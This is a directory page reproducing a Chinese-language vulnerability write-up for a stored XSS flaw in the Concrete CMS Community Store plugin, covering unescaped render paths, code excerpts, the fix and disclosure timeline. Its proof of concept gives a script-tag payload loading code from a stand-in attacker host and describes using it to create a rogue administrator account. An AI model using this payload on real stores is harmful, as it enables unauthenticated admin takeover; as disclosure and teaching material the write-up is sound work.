Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-93659-writeup — Concrete CMS Community Store 中的存储型 XSS 可导致管理员仪表盘被接管 | Kitploit
工具/GitHubGitHub/prince325/cve-2026-93659-writeup
漏洞分析漏洞利用Web应用程序漏洞利用Web安全论文与研究学习与教育精选资源
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

Concrete CMS Community Store 中的存储型 XSS 可导致管理员仪表盘被接管

查看仓库
15小时3分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-93659:Concrete CMS Community Store 中的存储型 XSS 导致管理员仪表盘被接管

摘要

CVECVE-2026-93659
组件concretecms-community-store/community_store
类型存储型跨站脚本(CWE-79)
严重性CVSS v4.0 9.3 严重 / v3.1 8.7 高危
受影响版本2.7.8 之前的所有版本
修复版本2.7.8
致谢Prince Edem Fiagbedzi(发现者)

Community Store 是 Concrete CMS 的一款开源电子商务插件,它将客户提供的订单字段未经净化地存储,并在四个面向管理员的视图中渲染时未进行 HTML 转义。任何未认证的访客都可以在账单名字等字段中放置脚本载荷来下单,而该载荷会在商店管理员下次打开该订单时,在其已认证的仪表盘会话中执行,足以创建一个恶意管理员账户或窃取会话数据。

受影响范围

每个订单都包含客户提供的字段:账单/配送名字、姓氏、电子邮件和电话。这些字段按原样存储,并在商店管理员经常查看的四个位置原样渲染:

  • 管理员订单视图(single_pages/dashboard/store/orders.php)
  • 可打印的订单小票(elements/order_slip.php)
  • 销售报告(single_pages/dashboard/store/reports/*.php)
  • 面向客户的结账确认页面(single_pages/checkout/complete.php)

关键在于,下单无需任何账户。Community Store 的访客结账设置默认为 always,这是由该包自身的安装程序在每次全新安装时设置的,而非商店运营者需要主动选择的选项。因此,这不是一个需要商店配置错误的漏洞;它针对的是默认的、开箱即用的安装即可被利用,无需任何凭据。

缓解措施

将 Community Store 更新至 2.7.8 或更高版本。该修复为所有四个受影响的渲染位置添加了正确的输出转义。除了升级之外,没有配置层面的变通方法,因为存在漏洞的行为正是转义本身,而非某个开关。

技术细节

四个渲染位置均未对客户可控字段进行转义。以下是管理员订单视图中的一行代表性代码:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

附近没有任何 h() 调用——Concrete 的标准输出转义辅助函数,尽管同一文件在几行之外对其他值正确使用了 h()。输入验证也好不到哪里去:应用于这些字段的唯一检查是长度限制(1-255 个字符),没有任何剥离或拒绝 HTML 的处理。

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

账单名字字段中一个少于 255 个字符的 <script> 载荷会原封不动地通过验证,被存储下来,之后在管理员查看该订单的任何位置以未转义的形式渲染。

访客结账默认值直接在安装程序中设置:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

结账控制器仅在该设置为 off(或 option 且无访客标志)时才强制登录,而在安装默认值下,该分支永远不会触发。

概念验证

在 Concrete CMS 9.5.2 上的 Community Store v2.7.7 中测试(自托管 Docker 实验环境,PHP 8.3)。载荷作为普通访客结账提交,无需任何形式的认证:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. 攻击者使用上述载荷提交一个看似正常的结账。无需账户、无需会话、无需 cookie。
  2. 商店管理员打开 仪表盘 > 商店 > 订单 并查看该订单(该载荷同样会从订单小票、销售报告或客户自己的确认邮件中触发;四条未转义渲染路径中的任意一条都有效)。
  3. 脚本以商店管理员已认证的会话和 CSRF 令牌执行。为了确认真实影响而不仅仅是弹出一个警告框,我像外部攻击者那样自行托管了该载荷,并用它在该会话内部以编程方式提交“添加管理员”表单,从而将单个恶意订单转变为完整的管理员账户接管。

披露时间线

  • 通过私密 GitHub 安全公告向维护者报告
  • 修复由 Ryan Hewitt 以提交 2a802d6 的形式发布,为所有四个受影响的渲染位置添加了 h() 转义
  • 修复包含在 v2.7.8 版本中
  • CVE-2026-93659 由 VulnCheck 作为 CNA 发布,发现者致谢为我

要点

  • 输出转义必须一致地应用于给定值的每一条渲染路径,而不仅仅是显而易见的那些。这个漏洞存在了多年,因为四个渲染位置中有三个在第四个被正确处理之后显然从未被重新审视。
  • 对于一个具有可配置访客访问权限的插件,“需要账户”并不是构建威胁模型时可以安全假设的前提。检查实际发布的默认值,而不是理论上的安全配置。
  • 流行 CMS 平台的市场/社区插件是开始漏洞挖掘的好地方:真实的安装基数,且确实比核心受到更少的审计。

参考资料

  • CVE-2026-93659
  • 修复提交 2a802d6
  • v2.7.8 版本说明
  • Community Store 仓库
下载工具